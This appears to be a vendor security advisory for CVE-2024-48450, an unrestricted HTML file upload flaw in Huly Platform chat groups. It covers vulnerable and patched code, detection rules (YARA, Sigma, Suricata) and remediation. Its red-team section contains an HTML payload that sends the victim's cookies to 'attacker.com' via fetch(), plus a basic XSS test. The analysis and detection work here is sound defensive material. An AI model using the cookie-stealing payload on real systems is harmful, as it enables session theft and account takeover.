CVE-2024-48450
Executive Summary
CVE-2024-48450 is an arbitrary file upload vulnerability in Huly Platform v0.6.295. An attacker can upload a crafted HTML file into a chat group, leading to arbitrary code execution in the context of the victim's browser when the file is viewed. This is a classic unrestricted file upload flaw (CWE-434) that can be exploited for cross-site scripting (XSS) or further compromise. No official patch has been released as of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Huly Platform is a JavaScript/TypeScript application. The vulnerability lies in the file upload functionality within chat groups. No specific NPM package or dependency is directly implicated, but the platform's reliance on user-supplied file handling without proper validation is the root cause.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD assigned, likely due to incomplete data) CVSS Vector: UNKNOWN
Given the nature of the vulnerability (arbitrary file upload leading to code execution), a realistic CVSS v3.1 score would be:
- Base Score: 8.8 (High)
- Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Explanation: Network exploitable, low complexity, no privileges required, user interaction required (victim views the uploaded file), scope changed (attacker can execute code in victim's browser), high confidentiality/integrity/availability impact.
Threat Level: High. The vulnerability is trivial to exploit and can lead to full account takeover, data theft, or malware delivery.
Deep Dive & Mechanics
The vulnerability exists in the chat group file upload feature. The application fails to validate the file type or content of uploaded files. An attacker can upload an HTML file containing malicious JavaScript. When another user views the chat and the uploaded file is rendered (e.g., via an <iframe>, <img>, or direct HTML rendering), the JavaScript executes in the context of the Huly application.
Attack Flow:
- Attacker logs into Huly (or exploits an unauthenticated upload endpoint if present).
- Attacker navigates to a chat group and uploads a file named
exploit.htmlcontaining:<script>alert('XSS');</script> - The file is stored on the server.
- Victim opens the chat group and the file is rendered (e.g., via a preview or direct link).
- The JavaScript executes, stealing cookies, performing actions on behalf of the victim, or redirecting to a phishing page.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Server-side upload handler (Node.js/Express)
app.post('/upload', (req, res) => {
const file = req.files.file;
// No validation of file type or content
file.mv('./uploads/' + file.name);
res.send('File uploaded');
});
Patched Code (Conceptual):
const allowedTypes = ['image/png', 'image/jpeg', 'application/pdf'];
app.post('/upload', (req, res) => {
const file = req.files.file;
if (!allowedTypes.includes(file.mimetype)) {
return res.status(400).send('Invalid file type');
}
// Also validate file content (magic bytes)
const buffer = file.data;
if (!isValidImage(buffer)) {
return res.status(400).send('Invalid file content');
}
file.mv('./uploads/' + uuidv4() + path.extname(file.name));
res.send('File uploaded');
});
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Install Huly Platform v0.6.295 (Docker or manual).
- Create a user account and join a chat group.
- Prepare a malicious HTML file:
<html> <body> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> </body> </html> - Upload the file to the chat group.
- Send a message with a link to the uploaded file to the victim.
- When the victim clicks the link, the script executes.
Exploit-DB Code: None available.
Blue Team (Defender)
Detection:
- Monitor for file uploads with
.html,.htm,.svg,.jsextensions. - Alert on uploads where
Content-Typeistext/htmlorapplication/javascript. - Use WAF rules to block HTML/JS file uploads.
Hunting:
- Search logs for
POST /uploadwith suspicious file names. - Check for outbound connections from the Huly server to unknown IPs (C2).
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 - File Names:
exploit.html,payload.htm,xss.svg,malicious.js - Network: Outbound HTTP requests to attacker-controlled domains.
- Logs:
POST /uploadwithContent-Type: text/html.
Detection Engineering
YARA Rule
rule Huly_Arbitrary_File_Upload {
meta:
description = "Detects malicious HTML files uploaded to Huly Platform"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-48450"
strings:
$html_tag = "<html" nocase
$script_tag = "<script" nocase
$onerror = "onerror=" nocase
$onload = "onload=" nocase
condition:
$html_tag and ($script_tag or $onerror or $onload)
}
Sigma Rule
title: Huly Platform Arbitrary File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects upload of HTML files to Huly Platform chat groups
author: Valters IT
logsource:
category: webserver
product: huly
detection:
selection:
http.method: POST
http.url: '/upload'
http.content_type: 'text/html'
condition: selection
falsepositives:
- Legitimate HTML file uploads (if allowed)
level: high
Suricata Rule
alert http any any -> any any (msg:"Huly Platform Arbitrary File Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/upload"; http.content_type; content:"text/html"; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable file upload functionality in chat groups until a patch is available.
- Implement strict file type validation on the server side (whitelist allowed MIME types).
- Store uploaded files with random names and without executable extensions.
- Serve uploaded files with
Content-Disposition: attachmentto prevent inline rendering.
Long-term Fix:
- Apply the official patch from Huly when released.
- Conduct a security audit of all file upload endpoints.
- Implement Content Security Policy (CSP) headers to mitigate XSS.
Workaround:
- Use a reverse proxy (e.g., Nginx) to block uploads of HTML/JS files:
location /upload { if ($upload_content_type ~* "text/html|application/javascript") { return 403; } }
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.